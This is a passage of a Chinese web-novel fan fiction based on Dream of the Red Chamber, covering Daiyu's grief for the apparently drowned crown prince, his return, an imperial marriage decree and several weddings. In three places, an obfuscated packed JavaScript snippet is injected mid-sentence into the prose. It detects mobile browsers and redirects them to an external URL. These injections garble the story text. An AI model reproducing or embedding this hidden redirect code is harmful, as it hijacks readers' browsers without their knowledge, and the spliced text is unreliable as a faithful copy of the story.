黛玉揉了揉眉心,吩咐永龄道:“琉璃街有家番菜馆,你去买些食物给那些炮手送去,再让尚文研究下如何做番菜。”她转头又问鹤童,“赈济灾民的事办得如何了?” 鹤童道:“还好我们去得及时,否则太子的辕门都要被那些流离失所的灾民给冲了,他们听说朝廷拨了十万救灾款来,可钱粮一分未得,谣言说是被太子贿赂将官去了。其实那是战利中的海货珍宝,太子秋毫无私,全都赏赐给了浴血奋战的水师。 我们先打着太子的旗号,在街市上发放了部分粮食安抚民心,与章明接洽后,才陆续开展赈济事宜,厚恤死伤之家。太子得知我们带去的钱是姑娘给的,还说回来后要十倍补偿姑娘……” 话说一半,鹤童才自悔失言,咬舌不语。 黛玉滚下泪来,又淡淡地笑了笑:“不必说了,你先下去休息吧。” 鹤童离去后,黛玉一个人久久地坐在花厅里,盯着那沉重的黑炮管,一言不发。 整个正月,长林园都没有一点儿年味,黛玉与湘云等人与那些佛朗机炮手,研究讨论如何铸造炮管。然而几易图纸,手工铸炮出来的成品,大都有炸膛的风险。 黛玉跑遍了京城各处番夷人聚集的地方,甚至深入传教士的秘密据点,才找到一个海西国的水手,得到了答案。中原缺少蒸汽动力机床,无法对火炮内膛进行精密化加工,而且炮弹没有标准化生产,所以无法确保火炮的威力与稳定性。 等于说要铸炮,还要先制造出蒸汽动力机床,然而相关的资料几乎没有,除非学玄奘取经远涉海外,找到机床的图纸、实物及铸造师,否则是没办法完成了。 黛玉几经挫折,难免灰心丧气,日益焦躁起来,试图用专心外夷之技,来压制内心的悲伤与思念,已然不能了。 展眼又是一年花朝,林海虽忙于政务,无暇陪女儿过生日,晨起他还是亲自给黛玉擀好了面条,才上朝去了。 黛玉夜间失寐起来迟了,吃过长寿面,就让紫鹃、永龄去姊妹们那里代她赔罪,只说身上不好,不能相陪。太上皇后的国孝才除,贾门遭逢不幸,这个生日不过也罢。 她心中一股幽怨正未发泄,见到长林园中东风乍急,落花满地,又勾起伤春相思之情。 想到禛钰葬身大海,尸骨无寻,而今正值七七之日,英魂归而复去,不如把残花与鞲蔽扫归绢袋中掩埋,以花魂祭他。 黛玉荷了花锄,携了花扫,行到山坡上的花冢,呜咽悲泣,曼声哭道: 四时最美二月天,一去不回恨少年。 征途长帆染风烟,号角悲声泣人言。 旌旗招展摧夷舰,战鼓渡海滚浪边。 谁知碧涛埋忠骨,从此形影自相怜。 东风吹得千花落,柔肠堪忍百年煎。 红消翠减悲歌起,游丝香断愁绪添。 寄泣飘桃与残杏,离殇怨声流满笺。 爱恨交缠无释处,只在愁眉泪眼间。 飞裙倾鬟花枝前,长袖掩面哭向天。 侬携花锄葬英魂,郎倚芳菲永长眠。 帝子归去不复还,空余潇湘情难牵。 上苍知我忆天星,还请郎将梦中见。 黛玉倚锄洒泪,正自伤感,忽然听到身后有人唤她“林妹妹!” 她心头一动,骤然回头,“表哥!” 却见那人是宝玉。 林黛玉揾泪,长叹了一声,道:“对不起,我认错人了。” “我就是你的表哥,你没有认错。”宝玉说着就要伸手替她拭泪,“太子捐躯殉国也算死得其所,能得你洒泪泣血,长诗祭吊,他的在天之灵一定很欣慰。” 黛玉躲开他的手,转身就走,质问:“你怎么进来的?” 宝玉追上来说:“你让紫鹃告诉我,要杀了贼王,擒了反叛才肯见我,我才把王子腾抓到五城兵马司去,就赶着来看你了。” 黛玉听到他竟真的大义灭亲了,少不得站住,提醒他道:“你与凤姐将功折罪之举只能自保,贾门上下二十余口,如今若不趁陛下还政前,抓紧想办法安置,只怕贾家就要亡族灭种了,你还有闲心来看我。” 宝玉长叹一声,道:“凭他如何裁夺,老太太终究要归西的,姐妹们便是嫁出去也不见得好,还不如死了干净。剩下的罪有应得,我能奈何?” 黛玉听了这话,心中满是失望,转身进了潇湘馆,遣紫鹃出来送客。 恰好也在二月十二日,宣隆帝偶然发现东宫禁制已除,又因脸上的疤痕好得差不多了,不顾王君效的劝阻,提前出了东宫。 立刻将下朝的臣工又召集了回来,当满朝文武见到龙椅上的人,是精神矍铄、虎目威严的宣隆帝,大家终于松了一口气。 宣隆帝很快对篡权乱政的摄政王一派势力,进行了大清洗。安昌郡王、安荣郡王、安宁郡王附逆贼王谋反误国,父、母、妻连坐尽株。 又因贾瑛不肯同流合污,刺杀贼王水溶,并大义灭亲擒回反叛王子腾;王熙凤刺杀奸宦戴权,二人立功自赎,赦其死罪。 罢黜贾瑛状元之名,翰林之职,因其勇武忠毅,念其祖父之功,奖授长兴侯。 褫夺贾元春的皇贵妃称号,以“侍长”呼之,仍居宫中伺候上皇。道婆麻仙姑妄行巫蛊之术挟制上皇,其罪当诛,囿其所下之蛊与上皇命运相连,另囚密室拘锁。 自此,白玉为堂金作马的贾家,只剩贾母并贾家二房一支,龙王请来金陵王的王家,只剩与贾琏义绝的王熙凤与两个孩子。 滇南王沐昭宁、太医王君效、及裘良、谢鲸、柳新、韩奇、晴雯等人保皇有功,均有奖赏。 而晴雯则破例获封太医的称号,登记在太医院名册中,虽不在宫中供职,若后宫女眷遇上了疑难杂症,也可召其进宫诊治。 宣隆帝坐在久违的龙椅上,听着一声声山呼万岁,数月以来的忧虑烦躁一扫而空,他尚未收到粤海大胜的捷报,更不知太子失踪多日,此时还兴致高昂地当朝做起了媒人。 “此次朕能够脱险,还多亏了林爱卿之女及时救驾,林姑娘品貌出众,德才兼备,性情贤淑,朕本想与林爱卿结为儿女亲家,奈何林姑娘陈情,她与表哥已有婚约。林姑娘的表哥岂不正是长兴侯贾瑛,朕便给他们一双小儿女赐婚吧。” 林海原想出言反对,澄清太子才是女儿爱慕的“表哥”,却没来得及斟酌语言,如何说才不至于落个,伙同东宫欺君罔上的罪名。谁知皇上早拟好了圣旨盖好了玉玺,只等知会了他一声,就好颁布的。 身为人父,林海不得不多为女儿黛玉考虑,自打得知太子坠海已无生还希望,黛玉日渐抑郁悲愁,形容憔悴,若她痴情不改,孤守不嫁,岂不耽误了青春年华。 贾瑛虽说文武本事远不及太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928130|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但他一心赤诚,又对黛玉言听计从,温柔有加,而况如今也是有爵功臣,将来顶门立户也不成问题,也许他的陪伴能填补女儿心口的伤处。 林海咬了咬牙,终究没有反驳,将错就错了。 下朝后,林海等阁臣还要与宣隆帝交接诸多政务,禀报粤海战事及太子可能捐躯的消息,只得任凭赐婚的圣旨先送去了长林园。 “陛下,粤海将军邬锦川来报。太子出征南粤,临不测深海、入巨浪风涛,身先士卒摧折强寇,收复被佛朗机人盘踞的茜草湾,协助羁縻海外的茜香国恢复秩序。还不忘赈济灾民,救护百姓,惠恩卓异,居功至伟,然储君不慎落海,至今不见踪影……” 当黛玉听到自己被赐婚给长兴侯贾瑛时,整个人如木雕泥塑一般怔在了原地…… 晴雯万万没有想到,宣隆帝竟给林姑娘和宝玉赐婚了。莫非当初林姑娘说的那句“家父已答应了表兄的求亲”,让陛下误会了,以至于阴差阳错…… 而神通广大的太子,那个将林姑娘骗了的“假表哥”,竟然就这样战死了。 晴雯心中很是忐忑,若是自己早一日得知太子身份,就不会让林姑娘在陛下面前表错白了。 可是与“表少爷”接触四年之久,他在林姑娘面前时,心里从来都没有想过自己是太子。以至于她这个窥心人,都被死瞒了过去。 晴雯满心不安地将黛玉从地上扶起,嗫嚅着唇喊了一句:“姑娘……” 黛玉将圣旨塞给她,面无表情地向花冢行去,不顾石径风寒,青苔露冷,看池边柳条缠绵,展眼他枝并蒂,满目悲凉。 将来到花冢前,只听得山坡那边有掘土之声,黛玉愕然抬眸,花墓已经被挖开,绢袋的抽绳也扯断了…… 那身披斗篷的英俊少年,凝望着掌心的臂鞲,一边摩挲一边抱怨:“表妹这么些年,也就送我这一双鞲蔽,你若陪了残花,谁又来伴我余生。”说着就回过头来,冲着黛玉笑了笑。 他的眼睛逆着明媚的阳光,琉璃一般璀璨,又看不分明,似幻似真,神秘莫测。 电光石火的一瞬间,黛玉已经向他扑了过去。 她来势极猛,两人跌倒在花雨中,嗅着他身上略显浓烈的香味,黛玉的心怦怦乱跳,质问他:“你是人是鬼,是太子还是骗子!” 禛钰喉头微抖,目不转睛地注视着她,含笑道:“表妹,我回来了!” 黛玉大恸,搂着他的脖子哭道:“你个混蛋,作死吓我,回来得这样晚!你知不知道,陛下已经将我赐婚给别人了。” 禛钰嘴角微动,欲言又止,表妹与宝玉命中注定有这一段婚约,他是知道的。 过程无法更改,他要变的是结局。 “圣旨算得了什么呢,我不认,就是废纸一张。”禛钰爱怜地捧着黛玉的脸,细细地端详了好一阵子,见她形容消瘦,心下歉然:“是表哥不好,让表妹担惊受怕了。” “哼!”黛玉两手撑在他胸膛,支起身来,冷脸道:“你还好意思提表哥二字,若非这两个字作梗,只怕这圣旨还下不来呢。” “是我错了……”禛钰勉力维系着脸上惭愧的笑意,眉头拧了又松,松了又拧,呼吸变得急促起来。 黛玉霎时明白过来,禛钰身上带了伤,嗅了嗅那浓香之中确有一股淡淡的血腥气,不由分说地去解他圆领袍的衣扣,又去拽他的腰带。 “表妹,别这样……”禛钰唯恐被她发现端倪,慌忙去捉她的手,半开玩笑半含暧昧地说:“外头风大,会着凉的。” 黛玉瞧他心虚掩饰的模样,嘴角不禁勾起一丝讽笑,“给我瞧瞧你的伤,若不给瞧,那就向我证明你是好的。”若只是些许皮肉伤,他早该飞回来了。 见他眼神闪烁,两手护在胸前,黛玉心起恨怨,抬手扯开自己的衣带,略带挑衅地美目流盼,樱唇轻启,伏下头咬他的脖子。 只剩半条命的禛钰,哪里受得了这个,差点没酥断骨头,搂着她情不自禁地喘息几声。 眼前的姑娘裙飞鬟堕,泪珠香凝,这样大胆地诱他入蛊。 禛钰哪里还顾忌许多,哪怕再捱上三刀五箭,便是立时疼死了,他也得强撑住。 章明正待出声劝止,却见太子已经一鼓作气,翻身将人压在了斗篷上…… 树下落花如雾,春暖盈融。 他两眼一闭,退到了百步外的大树后,以剑杵地,扶膝单跪。 方圆百步,不许人近,不许鸟飞。 “姑娘!姑娘!” 听到晴雯的声音,章明霍然睁眼,咬牙暗想:这时候来,不是要我的命吗? 108.吾皇黛玉第一百零八回 云骑尉迎娶金英友,甄平安得嫁柳二郎 晴雯寻至小山坡附近,听到附近有娇喘之声,婉转喑哑,荡人心魄,她还以为林姑娘又伤心了,躲在树下哭,忙跑过去安慰。 谁知被人一把拽了回来,抬头一瞧竟是“死了”的章明,一脸震惊还未消失,又听到不远处飘来男人欢悦爽朗的笑声,分明是表少爷,不,太子的声音。 流光瞬息间,晴雯意识到了什么,吓得花容失色,急于挣脱束缚,“姑娘,不可以……” 章明双手死钳着她的手臂,偏过头,压低了声音道:“不想死的话,就别过去!” “太欺负人了,我们姑娘已经被赐婚给了宝玉,表、太子,怎么可以,怎么可以……”晴雯大受刺激,彻底呆住,瞠目结舌地说不下去了。 林姑娘明知道太子骗了她,为何还与他…… “是你们姑娘强幸了太子,可别冤枉了人。”章明鼻子里哼了一声,没好气地说。 他为身披重创的太子担忧虑后,生怕他逞强太过,把那好不容易捡回来的命,在女人身上折腾没了。 晴雯羞得面红耳赤,难以置信地高声反驳:“你放屁!” “闭嘴!”章明忙将她嘴捂住,低声喝道:“再吵我就咬你了!” 晴雯下意识将肩一缩,从前章明来替太子试针的时候,明明都挺过了最疼的时候,偏偏在结束起身的瞬间,突然扳住她的肩,深咬了一口,在她左肩留下了一个花瓣似的牙印,用什么药都去不了疤。 章明见她惊惶害怕,无声浅笑起来,提醒她道:“我劝你先送套衣裙并妆匣过来。当然,你若是再多弄来一套男人衣袍和止血的药,我也一并谢你。” 晴雯恨恨地哼了两声,扭身走了。 没过一会儿,她就抱着一个大包袱来了,气鼓鼓地往章明脚下一撂,就要离开。 忽而腰间一软,两眼昏寐,倒身睡去。 章明拥住她,捧着她的脸,轻轻吻了下去…… “晴姑娘,这是第一次,也是最后一次了。”若能光明正大的吻她,又怎舍得咬呢。 当晴雯醒来的时候,黛玉已经换好衣裙,打着垂联走了过来,脸上犹有依稀的泪痕。 晴雯看了不由心疼,咽了咽口水,犹豫半响,小心翼翼地问:“姑娘,你跟太子的事,今后什么打算?难不成,就这样背旨瞒亲的,跟了他?” 黛玉颊染红晕,被圣旨逼得不管不顾地疯了一回,不仅害得禛钰伤口崩开,竟还被晴雯窥见了,正后悔不迭,又不知该如何解释,勉强笑了笑:“船到桥头自然直。” 即便这会子禛钰也拿圣旨没有法子,但贾家一门亲族大半秋后问斩,宝玉如何也要守一二年之孝,而况贾母年高,上皇病沉,婚期很可能一拖再拖,等到时过境迁,再做打算不迟。 “那宝二爷若是知道了,岂不伤心。”晴雯轻声道。 黛玉微怔,低下头叹了一口气:“我们的事,他早知道了……” 晴雯心头又是一惊,什么时候的事,她一个窥心神探,怎么什么都不知道! 花冢之畔,章明一边给太子缠绷带,一边恨声抱怨:“主子,你就不知道忍一忍,这么玩会闹出人命的。” “表妹要宠我,我忍得住才怪。”禛钰笑了笑,任由他将自己裹成粽子。 当黛玉扒开他的衣裳,见到渗血的绷带,慌得泪涌,一心要离了他。 而他疲敝久旷的身体,被心爱的女子轻轻一触,已经本能的亢奋起来,后面的事就由不得理智主宰了。 禛钰闭上眼,有气无力地说:“别抱怨了,让我好生睡一觉。” 带着伤跑了十几天的马,疲病交攻之下,还要纵情云雨,能不累么! 章明只得将包袱皮抖开,权当被子盖在他身上,叫来影卫,先送信到宫中报之陛下,以免太子殉国的消息满天飞。 此时长林园外,荣宁两府,府门洞开,锦衣卫进进出出,押解出一干披枷带锁的男人,又牵出一群脱簪蓬头的女眷,连绵的哭声回荡在宁荣街上。 贾母拄着拐,老泪纵横地站在荣国府前,接受了贾赦、贾珍、贾琏、邢夫人、尤氏等人最后一次跪拜。个个哭得泪人一般,这一去就是秋后问斩的结局了。 贾政、王夫人、李纨、凤姐、三春姊妹及贾兰、贾荷、贾萌,在挤挤挨挨的人群中,眼泪都似断线之珠,他们是这场夷族之祸的幸存者,宁不有兔死狐悲之伤。 唯有长兴侯宝玉一人,始终没有露面。 敕造安荣郡王府的匾额被锦衣卫砸烂了,从前敕造荣国府的匾额也不能挂了,取而代之的是簇新的长兴侯府。 薛宝钗藏在人群中,眺望着依旧巍峨的门楣,焕发着又一次繁荣生机,不由攥紧了拳头。 她这个薛乡君因赈灾有功贡献甚巨,幸运的没被清算,命运又再一次将她推向了荣华之路。 正当她野心勃勃,踌躇满志之时,一回头就见到一个抱着孩子的妇人,冲着自己诡秘地阴笑。 夏金桂嘴唇一撇,鼻孔里哼了两声,“薛大姑娘还没嫁人呢,偷吃了我的嫁妆,瞧着越发发福了。”林姑娘早将她从镇魂庙里放出来,唯一的条件就是:死缠住薛乡君,拿回夏家家产,直到薛家一无所有为止。 就算林姑娘不说,她也会这么做的。 桃花始,仓庚鸣,嫁娶之候也。 历经了一场短暂的乱政之期,眼见上皇也撑不了多久了,上年筹备婚嫁的人家,都着紧操办婚礼。街面上几乎每天都有高亮喜庆的唢呐,并着鼓乐吹打之音。 云骑尉苏信因在北疆抵御鞑靼有功,被授予金陵卫正四品指挥佥事。他听闻贾家谋逆之事,不曾殃及贾二姑娘,还是信守婚约,择期亲迎。 贾迎春暂时回了长兴侯府,三月初六就带着苏嬷嬷、水思及几个丫鬟,乘船南下嫁去了金陵。 柳湘莲中武举后,赶上了贼王乱政,一直未曾授职,今次宣隆帝清理反叛,整顿京营,恰留了许多职缺。 自柳新等人平乱以来,陛下按功授职,都成了家族新起之秀。理国公曾孙柳新授予了正四品明威将军,定城侯之孙谢鲸正式担任京营节度使,景天侯之孙裘良晋升为护军参将,锦乡侯公子韩奇则成了五城兵马司指挥。 柳湘莲便与他们几个,一起商讨谋补什么缺出好,正当众人议论纷纷之时。 一个熟悉的声音传来:“柳二郎嫉恶如仇,刚正不阿,缉捕谳狱的锦衣卫,倒是很适合你。” 众人回头一看,来人正是太子禛钰,慌忙跪下行礼。 禛钰连忙叫他们起来,如他所愿,这几个人都被陛下安排在了戍卫京畿的重要位置,而他现在还缺一个打入锦衣卫核心的人。 柳湘莲素闻锦衣卫威名,知其选拔严格苛刻,听太子殿下如此说,倒生了几分跃跃欲试的心。 禛钰笑道:“过几日,我父皇会去横海铁网山上放鹰打围,也会挑选几个武举及勋贵子弟陪同,届时你好好表现,自有你的好前程。” 柳湘莲为此又好生演练了数日骑射,果真被宣隆帝选中陪王伴驾,去了小半个月,回来就赐了锦衣卫镇抚使的职衔,志得意满之时,忙请姑妈向严府催婚期去了。 四月初六,大理寺卿严家招赘。 林尚书府上,卯正二刻,甄平安就被黛玉喊起来了,晴雯、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941209|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫鹃、永龄一起上阵,为新嫁娘梳洗打扮,扑粉簪花,忙得不亦乐乎。 黛玉也是头一回帮忙张罗婚事,难免有些忙乱,幸而她熟背了章程,很快就能指挥若定了。 闺房中一切准备妥当,几个人正围着平安说笑打趣,忽听得窗外传来一声:“甄姑娘大喜了。” 黛玉眸色微变,旋即轻轻拍了拍平安的肩,安慰她道:“不碍事的,权当乞婆讨酒喝来了。” 晴雯将薛宝钗拦到了门外,不咸不淡地说:“喜酒在严家办,薛姑娘来错地方了。” “我是赶着来给甄姑娘添妆的。”说着,薛宝钗就塞了一个沉甸甸的锦盒到晴雯手上,倒也没有多待,转身就走了。 黛玉接过盒子一看,里头装的是一对婚服的泥人,一个是薛蟠的模样,一个是甄平安的模样。 “难为她‘有心’了,眼下诸事繁杂,还没工夫清算薛乡君资敌的事,先让夏金桂陪她周旋几回罢了。”黛玉将盒子交给晴雯,对她说:“用布包好,拿去两三条街外的马路牙子上砸了,说上百句‘岁岁平安’,再把粉末残渣丢到外头填埋了。” 没过多久,园中骤然响起了一阵又一阵的欢呼声,杂沓的脚步声夹杂着铿锵叮当之声。 几个傧相兴致高昂地起哄吆喝:“接新娘子啰!” “媳妇儿,我来迎你过门了!” 甄平安听到柳湘莲的声音,一张粉光脂艳的脸上泛起阵阵红晕。 永龄与黛玉相视一笑,三两步窜出去,揭开院中的五丈高的竹架塔,指着顶尖上的红绸绣球说:“想要接走新娘子,就得蒙住眼睛徒手爬上来,摘下绣球。” 从来被人称为冷面冷心的柳二郎,早已摧眉折腰了数次,嘴里只说软话:“好姑娘,竹架太轻搁不住我踩,这分明难人,不如我蒙眼将绣球射下来可好。” 永龄将脖子一扭,叉腰歪头笑道:“摘不下来,新娘子就不出这门子了。” 柳湘莲无法,只得向诸位兄弟求助。 “二哥只管上去,咱们左右两边压阵,塌不下来的。”柳新套好臂护,抬下巴示意韩奇到竹架对面去。 待柳湘莲蒙上了眼睛,摩拳擦掌之际,拍掌鼓舞之声不断,“快上!上呀!” 柳湘莲攀上竹架,一时辨不清方向,底下的兄弟就各种提示,黛玉这边也让几个北戎小子此起彼伏地乱喊,混淆视听。 只把挂在半空的柳二郎,整得进退两难,最后还是柳新出了奇招,用佶屈聱牙的家乡土话与柳湘莲沟通,才让他一鼓作气攀上了顶峰。 永龄立刻护住绣球,左右旋飞,身形之飘逸,手法之灵活,让柳新不禁眼眸一亮。 为了娶上媳妇,柳湘莲在空中胡乱抓挠,愣是摸不到绣球的影子,急得直冒汗。 柳新“啧”了一声,让裘良替他压阵,自己窜上竹架,在永龄眼皮下掠过,从怀中抖落出一绺青丝来,在她眼前晃过,勾唇笑道:“姑娘,你瞧这是什么?” 永龄见了头发上的小红绳,便知是自己在翠玲珑断下来的头发,羞得要死,连忙抢上来要夺,一时松了护住绣球的手。 柳新眼疾手快地将绣球朝柳湘莲脸上挥去,“快接着!” “喔!”柳湘莲一把抱住绣球,在空中连翻了三个跟头,落下地来,赢得喝彩不断。 众位傧相忙上来搀住,替柳湘莲掀开蒙眼的布条,一窝蜂似地往屋里闯,把挡在门口的竹架撞得摇摇欲坠。 永龄一心只想抢回头发,没留神脚下,一下子被晃了下来。 柳新张开双臂,将从天而降的娇俏姑娘抱了个满怀,悄声问:“姑娘可愿与我青丝合髻,白首不离?” 109.吾皇黛玉第一百零九回 茜香女皇宫车晏驾,太子禛钰坑骗道友 在一阵鼓乐喧阗中,柳湘莲接走了新娘子,永龄抄起马鞭,追着柳新跑了两条街。 黛玉站在林府门口,双手合十,闭眼念了一句:“阿弥陀佛!祈愿佛祖保佑平安姐姐,从此万事顺意,福禄攸归。” 禛钰悄然走上来,将怀里的物件掏出来,挂在了黛玉脖子上。 黛玉若有所觉,睁开眼来,嗔怪道:“新娘子都走了,你怎么才来呀!” “新娘子不就在我眼前!”禛钰将黛玉一指,伸手把人拥在怀里。 黛玉心中一甜,红着脸向外张望了一会儿,将他拉进门来,指着脖子上红绳串起来的白色小贝壳说:“这是迟到的生辰礼物?” 禛钰点了点头,伸手替她调整了一下,“打开贝壳会发出海猪的叫声,驱赶鲛鲨。我在海底与虾兵蟹将缠斗了七八天,闯入龙王爷的水晶宫才拿到的呢。” 黛玉生了气,怒道:“就为这劳什子,你连命都不要了!” 才一开口,就发现自己的声音无形中洪亮了数倍,仿佛河东狮子吼,不由瞪大了眼睛。 禛钰莞尔一笑,凑近来,捏着那小贝壳说:“吾爱表妹万万年!” 声音瞬间如春雷一般响彻天空,羞得黛玉面红耳赤,又惊奇又害怕,这小贝壳竟然有洪音之效。 眼见禛钰张口又要说句什么,黛玉忙将他的嘴给捂住,瞪着他哑声道:“不许乱喊!” 禛钰在她娇俏的唇上啄了一下,悄声道:“我告诉你怎么用它。” 只要把贝壳阳面在上,它就有洪音之效,若是贝壳阴面在上,就只是普通的贝壳。打开贝壳就会发出海猪穿透云霄的声音。 禛钰捧着黛玉的脸说:“等明儿你君临天下,给普天臣民演说的时候,就能用上它了。” “我又不是武则天,哪能君临天下,最多凤仪天下……”一时不防话未经心,黛玉追悔不迭,羞得脸耳飞红,咬唇不语。 “那就等你凤仪天下……”禛钰沉溺在她的娇态里,话音儿都带了三分缱绻醉意。 及到屋中,小贝壳被无情抛到枕边,无奈听着两人细碎爱语,衣衫窸窣。黛玉可不敢纵他放肆,许他尝了些许甜头,趁其不备兰手一拂穴,让他安睡了半日。 “章明,把你主子背回去,盯着他修养好了,才许出来。” 太子痊愈后,宣隆帝在宫中为他举行了盛大的庆功宴,又赐予他礼部侍郎的官职。 从此深藏不露的太子禛钰,正式在百官中亮了相,成为正三品堂上官,掌宾礼及接待外宾事务。 虽说官阶不低,但说到底礼部是清水衙门,侍郎又是个边缘闲差,管管各国进贡朝贺参访接待的事,远比不得吏部、户部有实权,也不比工部、兵部好出实绩。足见宣隆帝内心深处,并不希望太子过早地崭露头角。 禛钰不以为意,反倒是积极在各国使臣中打探蒸汽动力机床的事,但是欧罗巴大陆的那些国家都将先进技术视为国宝,不肯轻泄,以至于禛钰与黛玉的铸造佛朗机炮的计划暂时搁浅。 宣隆帝见太子为官后,勤谨非常,又不搞拉帮结派那一套,很是欣慰。 一时又慈爱心起,想起好大儿今年都满十八岁了,也该选太子妃了。 四月将尽,那什么贾家三姑娘已满孝了。贾家只剩长兴侯这一支了,家世尚可,出身勉强了点,让贾家主母记作嫡女出嫁,也无大碍了。 宣隆帝着人操办了这一出,才对太子提了这事,哪知太子面无表情地问:“哪个三姑娘?我不认识什么三姑娘。” 皇帝又急忙召贾探春入宫觐见,问她可与太子相识,探春也是才知道,黛玉的王表哥就是当朝太子,为避嫌疑,当然回答说从未见过。 这一串乌龙事件,只把宣隆帝气得心头火起,想找那胡说八道的夏守忠过来骂了一顿,谁知夏守忠得了健忘症,已经下派去金陵守皇陵了,棺材银子都赏了。 滞留在京中的甄太妃蓄发半年,已经可以戴假髻了,这时候上表请奏,想和侄孙女甄三一同回宫,侍奉上皇。 正在气头上的宣隆帝,得知是水溶将甄太妃给接回了京城,更是气不打一处来,怒道:“请她自去侍奉佛祖,我爹不须她伺候。” 宗人府的官员正不知如何是好,禛钰提点他道:“京城尼庵不少,弄两个度牒,不拘哪个小庵堂一送,撂手不管罢。” 甄太妃好不容易蓄起的五寸短毛,又被人一刀剃光,这一回没人知她是太妃,只叫她净欢。 甄三姑娘得知甄太妃封后有望,舍了织布场的工作,千里迢迢投奔了过来,谁知愿望落空,也被一并剃去了长发,扔到了水月庵,改法名智空。 自从水月庵少了贾家的供养,香火大不如前,主持净虚姑子见又添了两张口,更无好脸色,只把她俩当牲口使唤,一概脏活累活都派给她们。 宣隆帝气过了头,这一回他也不与谁商量了,直接下诏告之九州万方,着于本年四月,为太子品选淑美,进奉昭媛。 禛钰被老爹这一招先斩后奏,打得措手不及,又怕黛玉多心,赶去长林园赔罪解释。 谁知吃了个闭门羹,长林园已经被黛玉一手管控,那些忠于职守的北戎人,连他这个萨满法师、当朝太子的面子也不给,竟半点不肯通融。 不得已,禛钰只得冒着密道被曝光的风险,又从滴翠亭里钻了出来。 走到潇湘馆前,只见黛玉、湘云二人在窗下对弈,湘云见黛玉拈着棋子长考许久,疑似神游天外去了,不由出声道:“林姐姐,该你了。” 黛玉微微一怔,匆忙落子。 “错了!”禛钰出声道。 黛玉听到此声,头也不抬,两眼只瞅棋枰,哼声道:“怎么会错,先仙鹤伸腿,再黄莺扑蝶,到头来相思断,岂不趁愿。①” 湘云见黛玉无视太子,忙向她使眼色,起身行礼道:“参见太子殿下。” “起来罢。”禛钰点了点头,湘云见势不妙,忙带着晴雯一干人等,躬身退了出去。 屋中骤然静了下来,黛玉歪在椅上,小嘴微噘,只管抓弄棋子作耍。 “表妹,选秀的事……”禛钰正要开口解释,就见黛玉款款下座,蹲身行礼,口中念道:“臣女参见太子……” 见她如此行止来刺自己的心,禛钰不禁大动肝火,一把将她拽了起来,恨声道:“都是父皇擅作主张罢了,我事先并不知情,你又何苦来堵我的心。” 黛玉冷笑了两声,道:“圣旨已下你无能为力,广选秀女你不得而知,好个清清白白的太子殿下。我知道,不过是大孝子为母报仇,‘始乱终弃’的棋路,走到要收官的时候了。你怕我挡了太子妃的红鸾路,特意紫微移驾,一刀两断来了。” 听了这话,无异于向禛钰胸口上生戳了一刀,他本就为从前的草率悔痛无及,眼下更是恼羞成怒,沉下脸来说:“自从姑娘喊我一声表哥以来,你扪心自问,我有哪一点对你不真,哪一天对你不好?我心里眼里只有你,怕你受委屈,怕你不开心,但凡你需要的,都捧到你面前来,替你病、替你痛、替你苦。姑娘慧眼如炬,我是骗你还是爱你,你难道看不出来!” 此话一出,黛玉也反驳不了,一口怨气堵在喉间,又是惶急,又是羞愧,烦不胜烦地问:“你如今都要成亲了,还要我怎么想,怎么办?” 禛钰一见黛玉气得胸口起伏,心疼极了,连哄带求地说:“表妹,你别急,我这不是来跟你说办法了嘛!你且冷静片刻,容我把话说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12956675|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完。” “请说罢。”黛玉深呼一口气,静下心来。 禛钰坐下来,拉住黛玉的手,让她坐在自己膝头,说:“选秀的旨意虽说覆水难收,但未必要我来选。我只让钦天监说我今年死里逃生,星宿不利,不宜成配。恰好滇南王沐昭宁也缺个媳妇儿,我让他来选。” 黛玉笑向禛钰道:“你又这样瞒神弄鬼,也不怕陛下降罪!” “怕,当然怕!”禛钰故作夸张,拍了拍胸脯道:“可为了表妹,我什么都不怕。” 黛玉扭身,伸指在他额上一点:“滇南王护国有功,你却这样坑他,亏你想得出。” 禛钰在她颊上一吻,笑道:“没法子,这世上表妹最要紧,只能死道友不死贫道了。” “你呀你,真是天上少有,地上无双的大魔头!”黛玉朝他胸口捶了一记,嗔笑道:“欺人太甚,以后谁还敢沾惹你!” 禛钰将怀中的人儿,拦腰抱起,低头吻了又吻,悄声说:“我的伤好全了,还请表妹检阅验看。” “不看!”黛玉扭身下来,冷着脸请他出去。 禛钰央求数遍无情被拒,无法只得出去了。 走到沁芳桥下,见晴雯捧了茶递给他,又指了指无人居住的凹晶溪馆,百般不情愿地说:“姑娘请殿下去那儿喝午时茶呢。” 禛钰接过茶,见晴雯直翻白眼的样子,恍然会意,顿觉精神一振。 晌午时分,乌云合会,天空忽然下起一阵雨来。 